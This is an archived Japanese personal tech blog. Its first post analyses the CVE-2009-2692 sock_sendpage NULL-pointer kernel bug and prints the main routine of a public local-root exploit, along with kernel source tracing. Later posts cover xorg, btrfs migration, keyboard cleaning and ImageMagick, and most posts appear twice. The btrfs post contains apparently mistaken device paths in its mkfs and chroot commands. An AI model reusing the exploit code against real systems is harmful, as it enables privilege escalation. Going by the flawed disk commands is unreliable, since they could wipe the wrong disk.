linux kernel 2.6.30.5以降はこの方法でrootを取ることはできなくなっているが、
HT-03AでAndroid 1.5からrootを取るのはこのBugを利用したExploitであったとのこと。
今さらだが気になったのでどんなBugだったのか調べてみた。
まず、今回のexploitのもととなるsock_sendpage()関数。ここの
sock->ops->sendpageがNULLになっている、というのが今回のバグのもと。
通常ならif(!sock->ops->sendpage)とかでチェックしてエラーするべき、という所か。
見てみるカーネルだが、カーネルは2.6.30.4を見た。2.6.30.5からこのBugに対する対策が取られている。
まず、問題となっているsock_sendpageを見てみる。
/** net/socket.c **/
static ssize_t sock_sendpage(struct file *file, struct page *page,
int offset, size_t size, loff_t *ppos, int more)
{
struct socket *sock;
int flags;
sock = file->private_data;
flags = !(file->f_flags & O_NONBLOCK) ? 0 : MSG_DONTWAIT;
if (more)
flags |= MSG_MORE;
return sock->ops->sendpage(sock, page, offset, size, flags);
}
今回はこのsendpageがNULLを参照している、という事を利用しNULLに実効させるコードを置いておく、という手法らしい。
ある種のsocketに対しsendpageさせる、というのが今回のrootへの道か。
さっそくcve 2009 2692 exploitとググって出てきたexploit
http://www.frasunek.com/proto_ops.tgz
を見てみることにした。
通常はこんなことはできないようになっているが。。exploitを見てみる。
ファイルは3つ。run.cとexploit.cがあり、run.shでrun.cを実効している。
run.cはこれだけ。
/** exploit/runc. **/
int main(void) {
if (personality(PER_SVR4) < 0) {
perror("personality");
return -1;
}
fprintf(stderr, "padlina z lublina!\n");
execl("./exploit", "exploit", 0);
}
personalityって何?という事でmanを見てみると、
Linux は、プロセス毎の異なる実行ドメイン、すなわち パーソナリティ (personality) をサポートしている。
実行ドメインは Linux にシグナル番号にどのシグナルを割り付けるかを 教えたりする。
また、実行ドメイン・システムにより、 Linux は他の Unix 風のオペレーティング・システムでコンパイルされた バイナリに対する限定的なサポートを提供している。
らしい。
つまりrun.cはexploitのパーソナリティをSVR4にすることが目的。
で、肝心のexploit.c。
まずはmainから。
int main(void) {
char template[] = "/tmp/padlina.XXXXXX";
int fdin, fdout;
void *page;
uid = getuid();
gid = getgid();
setresuid(uid, uid, uid);
setresgid(gid, gid, gid);
if ((personality(0xffffffff)) != PER_SVR4) {
if ((page = mmap(0x0, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS, 0, 0)) == MAP_FAILED) {
perror("mmap");
return -1;
}
} else {
if (mprotect(0x0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC) < 0) { // 0 - 0x1000までREAD,WRITE,EXECにする。
perror("mprotect");
return -1;
}
}
*(char *)0 = '\x90'; // nop
*(char *)1 = '\xe9'; // jmp
*(unsigned long *)2 = (unsigned long)&kernel_code - 6; // 0xe9はrelative jumpであることに注意。90 e9 hh hh hh hhで6。
if ((fdin = mkstemp(template)) < 0) { // 一時ファイルを生成(templateより)
perror("mkstemp");
return -1;
}
if ((fdout = socket(PF_PPPOX, SOCK_DGRAM, 0)) < 0) {
perror("socket");
return -1;
}
unlink(template); //作ったファイルネームを削除。
ftruncate(fdin, PAGE_SIZE); // fdinをPAGE_SIZEに拡張。中身は0が書き込まれる。
sendfile(fdout, fdin, NULL, PAGE_SIZE);
}
空のファイルからPPPOEのソケットにsendfile。これが巡りに巡ってsock_sendpageを呼ぶのだろう。
その過程を見てみる。
まず、ユーザ空間でsendfile()すると、sys_sendfileが呼ばれ、そこからdo_sendfileが呼ばれる。
/** fs/read_write.c **/
static ssize_t do_sendfile(int out_fd, int in_fd, loff_t *ppos,
size_t count, loff_t max)
{
/* 略 */
retval = do_splice_direct(in_file, ppos, out_file, count, fl);
/* 略 */
}
do_sendfileは、do_splice_directを呼ぶ。ここでファイルの内容の転送がおこる。
今回の場合はin_fileは場合mkstempしたファイル、out_fileがソケット(PF_PPPOX)となっている。
以前のカーネル(ほかに手持ちだったlinux-2.6.22.3)ではdo_splice_directでなく
do_sendfileはin_file->f_op->sendfile()を呼んでいた。
この関数は通常generic_file_sendfileを指していて、
そこから呼ばれていく関数内で、do_generic_file_read() -> do_generic_mapping_readと来て、
do_generic_mapping_readの中でret = actor(desc, page, offset, nr);
actorはfile_send_actorで、file_send_actorはdesc->arg.data->f_op->sendpageを呼ぶ。
desc->arg.data = out_fileであり、
out_file->f_op->sendpage()これは、sock_attach_fd内で
file->f_op = &socket_file_ops;となっており、
socket_file_opsのsendpageはsock_sendpageである。
という流れだった。
linux-2.6.30.4ではdo_splice_directを見ると、
/** fs/splice.c **/
long do_splice_direct(struct file *in, loff_t *ppos, struct file *out,
size_t len, unsigned int flags)
{
struct splice_desc sd = {
.len = len,
.total_len = len,
.flags = flags,
.pos = *ppos,
.u.file = out, /* out はここ。これがsocket。*/
};
long ret;
ret = splice_direct_to_actor(in, &sd, direct_splice_actor); /* (1) */
/* 略 */
return ret;
}
splice_direct_to_actorはpipeをゲットして、
ret = do_splice_to(in, &pos, pipe, len, flags);
で書きこみ、
ret = actor(pipe, sd);
とする。
actorは(1)で渡したdirect_splice_actorのことで、
/** fs/splice.c **/
static int direct_splice_actor(struct pipe_inode_info *pipe,
struct splice_desc *sd)
{
struct file *file = sd->u.file;
return do_splice_from(pipe, file, &sd->pos, sd->total_len, sd->flags);
}
とpipeからoutに書く。で、do_splice_fromは、
/** fs/splice.c **/
static long do_splice_from(struct pipe_inode_info *pipe, struct file *out,
loff_t *ppos, size_t len, unsigned int flags)
{
/* 略 */
return out->f_op->splice_write(pipe, out, ppos, len, flags);
}
とout->f_op->splice_writeを呼ぶ。
これは、sock_attach_fd内でfile->f_op = &socket_file_ops;とされており、
.splice_write = generic_splice_sendpage;である。(net/socket.c)
つまりここでgeneric_splice_sendpageが呼ばれる。
generic_splice_sendpageは、
/** fs/splice.c **/
ssize_t generic_splice_sendpage(struct pipe_inode_info *pipe, struct file *out,
loff_t *ppos, size_t len, unsigned int flags)
{
return splice_from_pipe(pipe, out, ppos, len, flags, pipe_to_sendpage); /*(2)*/
}
とsplice_from_pipeをpipe_to_sendpageを渡してコール。
splice_from_pipeはdo_splice_directと良く似ていて、
/** fs/splice.c **/
ssize_t splice_from_pipe(struct pipe_inode_info *pipe, struct file *out,
loff_t *ppos, size_t len, unsigned int flags,
splice_actor *actor)
{
ssize_t ret;
struct splice_desc sd = {
.total_len = len,
.flags = flags,
.pos = *ppos,
.u.file = out,
};
pipe_lock(pipe);
ret = __splice_from_pipe(pipe, &sd, actor);
pipe_unlock(pipe);
return ret;
}
この__splice_from_pipeがactorを使ってpipeからsdにどんどん書きこんでいく処理をする関数。
/** fs/splice.c **/
ssize_t __splice_from_pipe(struct pipe_inode_info *pipe, struct splice_desc *sd,
splice_actor *actor)
{
int ret;
splice_from_pipe_begin(sd);
do {
ret = splice_from_pipe_next(pipe, sd);
if (ret > 0)
ret = splice_from_pipe_feed(pipe, sd, actor);
} while (ret > 0);
splice_from_pipe_end(pipe, sd);
return sd->num_spliced ? sd->num_spliced : ret;
}
このsplice_from_pipe_feed内で、
ret = actor(pipe, buf, sd);
とactor(現在は(2)のpipe_to_sendpage)を呼びだす。
このpipe_to_sendpageを見ると
/** fs/splice.c **/
static int pipe_to_sendpage(struct pipe_inode_info *pipe,
struct pipe_buffer *buf, struct splice_desc *sd)
{
struct file *file = sd->u.file; /*これは書きだす先のout、つまりsocket*/
loff_t pos = sd->pos;
int ret, more;
ret = buf->ops->confirm(pipe, buf);
if (!ret) {
more = (sd->flags & SPLICE_F_MORE) || sd->len < sd->total_len;
ret = file->f_op->sendpage(file, buf->page, buf->offset, /* これがsock_sendpage */
sd->len, &pos, more);
}
return ret;
}
このfileがsocketなのでfile->f_op->sendpageは
sock_attach_fd()内でfile->f_op = &socket_file_ops;とされており、
.sendpage = sock_sendpage;である。(net/socket.c)
つまりここでsock_sendpageが呼ばれる。
という流れになっている。長かった・・・。
sock_sendpageが呼ばれる流れは以上の通りだが、sock_sendpageの中で呼ばれる
sock->ops->sendpageはどのようにNULLになっているのだろうか。
まず、socket呼びだしを見てみる。
socketを呼ぶと、次のような流れで呼ばれる。
sys_socket -> sock_create -> __sock_create
/* asmlinkage long sys_socket(int family, int type, int protocol)になる*/
SYSCALL_DEFINE3(socket, int, family, int, type, int, protocol)
{
int retval;
struct socket *sock;
/* 略 */
retval = sock_create(family, type, protocol, &sock); /* sock_createはすぐに__sock_createを呼ぶ */
/* 略 */
retval = sock_map_fd(sock, flags & (O_CLOEXEC | O_NONBLOCK));
/* sock_map_fd()からsock_attach_fd()が呼ばれ、file->private_data = sockとされる。 retvalはそのfileのfd。*/
/* 略 */
return retval; /* fdが返る */
}
/** net/socket.c **/
static int __sock_create(int family, int type, int protocol,
struct socket **res, int kern)
{
/* 略 */
pf = rcu_dereference(net_families[family]);
/* 略 */
err = pf->create(sock, protocol);
/* 略 */
*res = sock /*ここでsockが返る*/
}
ここでnet_families[family]のcreateが呼ばれている。ここで今回のPPPOXのcreateを見ると、
/** drivers/net/pppox.c **/
static int pppox_create(struct socket *sock, int protocol)
{
int rc = -EPROTOTYPE;
/* 略 */
if (!pppox_protos[protocol] ||
!try_module_get(pppox_protos[protocol]->owner))
goto out;
rc = pppox_protos[protocol]->create(sock); /* 今回socketの引数のprotocol = 0 */
module_put(pppox_protos[protocol]->owner);
out:
return rc;
}
このpppox_protos[protocol]っていうのはプロトコルファミリの中の実際のプロトコル。今回はpppoe。
以下のファイルでregisterしてる。
/** drivers/net/pppoe.c **/
static int __init pppoe_init(void)
{
int err;
err = proto_register(&pppoe_sk_proto, 0);
/* 略 */
err = register_pppox_proto(PX_PROTO_OE, &pppoe_proto); /* if_pppox.hに #define PX_PROTO_OE = 0 */
/* ここでpppox_protos[0]に&pppoe_protoをregisterされてる。 */
/* 略 */
}
static int pppoe_create(struct socket *sock)
{
struct sock *sk;
sk = sk_alloc(net, PF_PPPOX, GFP_KERNEL, &pppoe_sk_proto);
if (!sk)
return -ENOMEM;
sock_init_data(sock, sk);
sock->state = SS_UNCONNECTED;
sock->ops = &pppoe_ops; /* sock->opsにpppoe_opsがセット */
/* 略 */
}
そのpppoe_opsとは
/** /drivers/net/pppoe.c **/
static const struct proto_ops pppoe_ops = {
.family = AF_PPPOX,
.owner = THIS_MODULE,
.release = pppoe_release,
.bind = sock_no_bind,
.connect = pppoe_connect,
.socketpair = sock_no_socketpair,
.accept = sock_no_accept,
.getname = pppoe_getname,
.poll = datagram_poll,
.listen = sock_no_listen,
.shutdown = sock_no_shutdown,
.setsockopt = sock_no_setsockopt,
.getsockopt = sock_no_getsockopt,
.sendmsg = pppoe_sendmsg,
.recvmsg = pppoe_recvmsg,
.mmap = sock_no_mmap,
.ioctl = pppox_ioctl, /* .sendpageがない! */
};
sock->ops->sendpageは、設定されてないので、NULLであった。
こうして冒頭のsock_sendpage内でNULLを呼ばれるわけである。
2011/06/13
2011/05/02
デュアルモニタ上でFlashコンテンツをフルスクリーンで見る
デュアルモニタにしてブラウザでFlashコンテンツを"Full Screen"にすると2画面にわたって表示されてしまう。
根本的な解決法はまだわかっていないが、1画面にする方法を考えてみた。
xorg.conf
Section "Screen"
Option "TwinView"
Option "TwinViewOrientation" "RightOf"
Option "TwinViewXineramaInfoOrder" "DFP-0,DFP-1"
Option "UseDisplayDevice" "DFP-0,DFP-1"
Option "MetaModes" "DFP-0: 1920x1200_60 +0+0,DFP-1: 1920x1200_60 +1920+0; DFP-0:1920x1200_60 +0+0"
TwinViewXineramaInfoOrderでスクリーンオーダーを指定して、Metamodesでモードをセミコロンで区切って列挙、
3840x1200と1920x1200を指定しておく。
$ xrandr
Screen 0: minimum 1920 x 1200, current 3840 x 1200, maximum 3840 x 1200
default connected 3840x1200+0+0 0mm x 0mm
3840x1200 50.0*
1920x1200 51.0
ここで'xrandr -s 1'とすると左のモニタのみが使用されるようになる。
ここでブラウザ上のFlashコンテンツをフルスクリーンにすれば、1画面にできる。
元のデュアルモニタに戻すときは'xrandr -s 0'とすればよい。
根本的な解決法はまだわかっていないが、1画面にする方法を考えてみた。
xorg.conf
Section "Screen"
Option "TwinView"
Option "TwinViewOrientation" "RightOf"
Option "TwinViewXineramaInfoOrder" "DFP-0,DFP-1"
Option "UseDisplayDevice" "DFP-0,DFP-1"
Option "MetaModes" "DFP-0: 1920x1200_60 +0+0,DFP-1: 1920x1200_60 +1920+0; DFP-0:1920x1200_60 +0+0"
TwinViewXineramaInfoOrderでスクリーンオーダーを指定して、Metamodesでモードをセミコロンで区切って列挙、
3840x1200と1920x1200を指定しておく。
$ xrandr
Screen 0: minimum 1920 x 1200, current 3840 x 1200, maximum 3840 x 1200
default connected 3840x1200+0+0 0mm x 0mm
3840x1200 50.0*
1920x1200 51.0
ここで'xrandr -s 1'とすると左のモニタのみが使用されるようになる。
ここでブラウザ上のFlashコンテンツをフルスクリーンにすれば、1画面にできる。
元のデュアルモニタに戻すときは'xrandr -s 0'とすればよい。
2011/04/03
linuxハードディスク載せかえ、btrfs使用。
以前使ってたディスクから環境を新しいディスクに移すことにした。手順をメモ。
新しいディスクのファイルシステムは新しいbtrfsを使用することにした。btrfsのwikiに
"Btrfs is under heavy development, but every effort is being made to keep the filesystem stable and fast. As of 2.6.31, we only plan to make forward compatible disk format changes"
ってあったし。
まずカーネルコンフィグでbtrfsにチェックを入れ、btrfs-progsをインストール。自分の環境ではバージョンは0.19だった。ディスクのパーティションテーブルはMBR(msdos)じゃなくてGUIDパーティションテーブル(gpt)にした。
gptではmsdosと違って:基本パーティション"とか"論理パーティション"とかの区別は必要ない。grubをgptのディスクで使うためにはbios_grubフラグのついた空のパーティションが必要になる。
今まで使っていたディスク:/dev/sda、これから使う新しいディスク:/dev/sdb
# parted /dev/sdb
(parted) mklabel gpt #gptパーティションを使用する。MBRにしたいときはmsdos。データは全て消える。
(parted) unit GIB #ギビバイトを使用
mkpartですきなように分ける。ファイルシステムは聞かれるが反映されない。
(parted) toggle 1 bios_grub #先頭にbios_grubフラグをつける。このパーティションは31kb以上ないといけない。
(parted) toggle 2 boot #/bootのマウントポイント。vmlinuzが入る場所
(parted) print
Number Start End Size File system Name Flags
1 1049kB 8389kB 7340kB bios_grub
2 8389kB 2147MB 2139MB ext4 boot
3 2147MB 8590MB 6442MB linux-swap(v1)
4 8590MB 81.6GB 73.0GB
5 81.6GB 90.2GB 8590MB
6 90.2GB 107GB 17.2GB
7 107GB 1000GB 893GB
(parted) quit
# mkfs.btrfs /dev/sda4 等
これを書く現時点ではgrubはbtrfsに完全には対応していないのでext4にした。
# mkfs.ext4 /dev/sda2
# mkswap /dev/sda3
ここでシステムをログオフして/dev/sdaの内容を/dev/sdbにコピー。
作業用の環境としてSystemRescueCdを使用した。btrfsにも対応してていい感じ。
/dev/sda1(/mnt/sda1)の内容を/dev/sdb1(/mnt/sdb1)にコピーする場合は
# cd /mnt/sda1
# tar cpf - ./ | tar pfxvC - /mnt/sdb1
とすればよい。tarはpオプションでパーミッションを保存してくれる。
今回は/dev/sdb4が新しい/になる。
終わったら/以下の/bootとか/tmpとか/dev、/procをマウントさせてから新しい環境の/となる場所にchroot。
/dev、procをマウントさせるには
# mount -o bind /dev /mnt/sdb4/dev
# mount -t proc none /mnt/sdb4/proc
その後
# chroot /dev/sdb4
/etc/fstabを書き換えて、/usr/src/linuxでmake && make install && make modules_installして、grub-install /dev/sdbすればOK。
BIOSでbootを/dev/sdbのディスクから行うようにすれば新しいディスクに乗り換えることができる。足りない所があったらもう一度SystemRescueCdでブートして作業。
SystemRescueCd便利だわ。
新しいディスクのファイルシステムは新しいbtrfsを使用することにした。btrfsのwikiに
"Btrfs is under heavy development, but every effort is being made to keep the filesystem stable and fast. As of 2.6.31, we only plan to make forward compatible disk format changes"
ってあったし。
まずカーネルコンフィグでbtrfsにチェックを入れ、btrfs-progsをインストール。自分の環境ではバージョンは0.19だった。ディスクのパーティションテーブルはMBR(msdos)じゃなくてGUIDパーティションテーブル(gpt)にした。
gptではmsdosと違って:基本パーティション"とか"論理パーティション"とかの区別は必要ない。grubをgptのディスクで使うためにはbios_grubフラグのついた空のパーティションが必要になる。
今まで使っていたディスク:/dev/sda、これから使う新しいディスク:/dev/sdb
# parted /dev/sdb
(parted) mklabel gpt #gptパーティションを使用する。MBRにしたいときはmsdos。データは全て消える。
(parted) unit GIB #ギビバイトを使用
mkpartですきなように分ける。ファイルシステムは聞かれるが反映されない。
(parted) toggle 1 bios_grub #先頭にbios_grubフラグをつける。このパーティションは31kb以上ないといけない。
(parted) toggle 2 boot #/bootのマウントポイント。vmlinuzが入る場所
(parted) print
Number Start End Size File system Name Flags
1 1049kB 8389kB 7340kB bios_grub
2 8389kB 2147MB 2139MB ext4 boot
3 2147MB 8590MB 6442MB linux-swap(v1)
4 8590MB 81.6GB 73.0GB
5 81.6GB 90.2GB 8590MB
6 90.2GB 107GB 17.2GB
7 107GB 1000GB 893GB
(parted) quit
# mkfs.btrfs /dev/sda4 等
これを書く現時点ではgrubはbtrfsに完全には対応していないのでext4にした。
# mkfs.ext4 /dev/sda2
# mkswap /dev/sda3
ここでシステムをログオフして/dev/sdaの内容を/dev/sdbにコピー。
作業用の環境としてSystemRescueCdを使用した。btrfsにも対応してていい感じ。
/dev/sda1(/mnt/sda1)の内容を/dev/sdb1(/mnt/sdb1)にコピーする場合は
# cd /mnt/sda1
# tar cpf - ./ | tar pfxvC - /mnt/sdb1
とすればよい。tarはpオプションでパーミッションを保存してくれる。
今回は/dev/sdb4が新しい/になる。
終わったら/以下の/bootとか/tmpとか/dev、/procをマウントさせてから新しい環境の/となる場所にchroot。
/dev、procをマウントさせるには
# mount -o bind /dev /mnt/sdb4/dev
# mount -t proc none /mnt/sdb4/proc
その後
# chroot /dev/sdb4
/etc/fstabを書き換えて、/usr/src/linuxでmake && make install && make modules_installして、grub-install /dev/sdbすればOK。
BIOSでbootを/dev/sdbのディスクから行うようにすれば新しいディスクに乗り換えることができる。足りない所があったらもう一度SystemRescueCdでブートして作業。
SystemRescueCd便利だわ。
2011/01/22
HHK Professional 2分解洗浄&組立
HHKBのProfessional 2を使っているが分解洗浄してみた。
まずキートップをはずす。スペースキーにはスプリングがついている。
無刻印モデルでもキートップの裏側に"E16"みたいな刻印があるので忘れず配置をメモしておく。自分はメモしなかったので組立時には完全に元通りにはなっていないw。
裏面のネジをはずしオープン、基盤についている沢山のネジをはずしていく。全部のネジをはずしたらそっと基盤とキーボード上面を分離。
ここでラバーカップとコイルスプリングが飛びだしてきやすいが予備はないので必ずなくさないようにする。キートップとキーボード上面は水で洗浄できるので洗剤と水で洗った。
コイルスプリングの静電容量の変化でon、offを読みとるこの形式、コイルスプリングを紛失するとそのキーは入力できなくなる。自分は一つどこに入るのかよくわからないコイルスプリングが出てしまったのでxevで一つ一つのキーを確認し、ようやく"-"のコイルスプリングがないことに気づいた。
組立はラバーカップ、コイルスプリングがずれないようにキーボード上面をそっと基盤にのせる。分解よりはるかに難易度が高かった。基盤にネジをはめて固定、キーボード裏面のネジを3つはめてクローズ。
ラバーカップがキー一つ一つで独立している部分があるのが組立が難しい理由かと思った。
キーボードがきれいになると気分がいいわ。
まずキートップをはずす。スペースキーにはスプリングがついている。
無刻印モデルでもキートップの裏側に"E16"みたいな刻印があるので忘れず配置をメモしておく。自分はメモしなかったので組立時には完全に元通りにはなっていないw。
裏面のネジをはずしオープン、基盤についている沢山のネジをはずしていく。全部のネジをはずしたらそっと基盤とキーボード上面を分離。
ここでラバーカップとコイルスプリングが飛びだしてきやすいが予備はないので必ずなくさないようにする。キートップとキーボード上面は水で洗浄できるので洗剤と水で洗った。
コイルスプリングの静電容量の変化でon、offを読みとるこの形式、コイルスプリングを紛失するとそのキーは入力できなくなる。自分は一つどこに入るのかよくわからないコイルスプリングが出てしまったのでxevで一つ一つのキーを確認し、ようやく"-"のコイルスプリングがないことに気づいた。
組立はラバーカップ、コイルスプリングがずれないようにキーボード上面をそっと基盤にのせる。分解よりはるかに難易度が高かった。基盤にネジをはめて固定、キーボード裏面のネジを3つはめてクローズ。
ラバーカップがキー一つ一つで独立している部分があるのが組立が難しい理由かと思った。
キーボードがきれいになると気分がいいわ。
2011/01/16
jpg画像をpdf化する
Imagemagickのconvertは画像フォーマットを変更したりサイズを変えたりできるコマンドだがpdf化もできる。
まずスクリーンの解像度を確認。
$ xdpyinfo | grep resolution
resolution: 96x96 dots per inch
96x96が望ましいので違う場合は変更。
convertの'-density'でdpiを設定。デフォルトは72x72っぽい。
'-resize'で画像の大きさを変更。自分の場合は1920x1200だから縦幅を960pixelsくらいにしたいと思った。
画像のサイズを変更するので'-unsharp'でシャープ化する。
-unsharp radiusxsigma{+amount}{+threshold}
radiusは (dpi / 30) * 0.2くらいがいいらしい。
sigma > 1の場合はsqrt(radius)
sigma <= 1の場合はsigma = radius
自分は(96 / 30) * 0.2なのでradius = 0.6にした。
結局
$ convert *.jpg -density 96x96 -resize x960 -unsharp 0.6x0.6+0.4+0 foo.pdf
にした。
マジ便利だわ。
2010/08/28
Kensington Expert MouseをLinuxで使う。
トラックボールは前から興味があって使ってみたいと思ってた。
今回KensingtonのExpert Mouse 7を買ったので設定をメモしておく。
右上のボタンを押すとスクロールのスイッチが入るようにするためには以下のようにすればいいようだ。
xorg.confに記述
Section "InputDevice"
Identifier "Mouse0"
Driver "evdev"
Option "Name" "Kensington Kensington Expert Mouse"
Option "CorePointer"
Option "Protocol" "auto"
Option "Device" "/dev/input/by-id/usb-Kensington_Kensington_Expert_Mouse-event-mouse"
Option "Buttons" "9"
Option "Emulate3Buttons" "true"
Option "EmulateWheelButton" "8"
Option "EmulateWheel" "true"
Option "YAxisMapping" "4 5"
Option "XAxisMapping" "6 7"
EndSection
udevが割り振るトラックボールのデバイスファイルを以上のようにOption "Device"の後に指定する。
ネーミングルールは自分の環境では/lib/udev/rules.d/60-persistent-input.rulesに書いてあった。
トラックボール便利だなー。Slimbladeすごい欲しくなってしまった。
今回KensingtonのExpert Mouse 7を買ったので設定をメモしておく。
右上のボタンを押すとスクロールのスイッチが入るようにするためには以下のようにすればいいようだ。
xorg.confに記述
Section "InputDevice"
Identifier "Mouse0"
Driver "evdev"
Option "Name" "Kensington Kensington Expert Mouse"
Option "CorePointer"
Option "Protocol" "auto"
Option "Device" "/dev/input/by-id/usb-Kensington_Kensington_Expert_Mouse-event-mouse"
Option "Buttons" "9"
Option "Emulate3Buttons" "true"
Option "EmulateWheelButton" "8"
Option "EmulateWheel" "true"
Option "YAxisMapping" "4 5"
Option "XAxisMapping" "6 7"
EndSection
udevが割り振るトラックボールのデバイスファイルを以上のようにOption "Device"の後に指定する。
ネーミングルールは自分の環境では/lib/udev/rules.d/60-persistent-input.rulesに書いてあった。
トラックボール便利だなー。Slimbladeすごい欲しくなってしまった。
2010/08/04
msdl-1.2.7-r2 release
先日msdl-1.2.7-r2をリリースした。
http://downloads.sourceforge.net/msdl/msdl-1.2.7-r2.tar.gz
$ msdl -o - http://www.foobar.co.jp
みたいにした時にアウトプットがstdoutに出力されないバグがあったのでそこを修正。
オオカミさんと七人の仲間たち面白いなー。
http://downloads.sourceforge.net/msdl/msdl-1.2.7-r2.tar.gz
$ msdl -o - http://www.foobar.co.jp
みたいにした時にアウトプットがstdoutに出力されないバグがあったのでそこを修正。
オオカミさんと七人の仲間たち面白いなー。
登録:
投稿 (Atom)

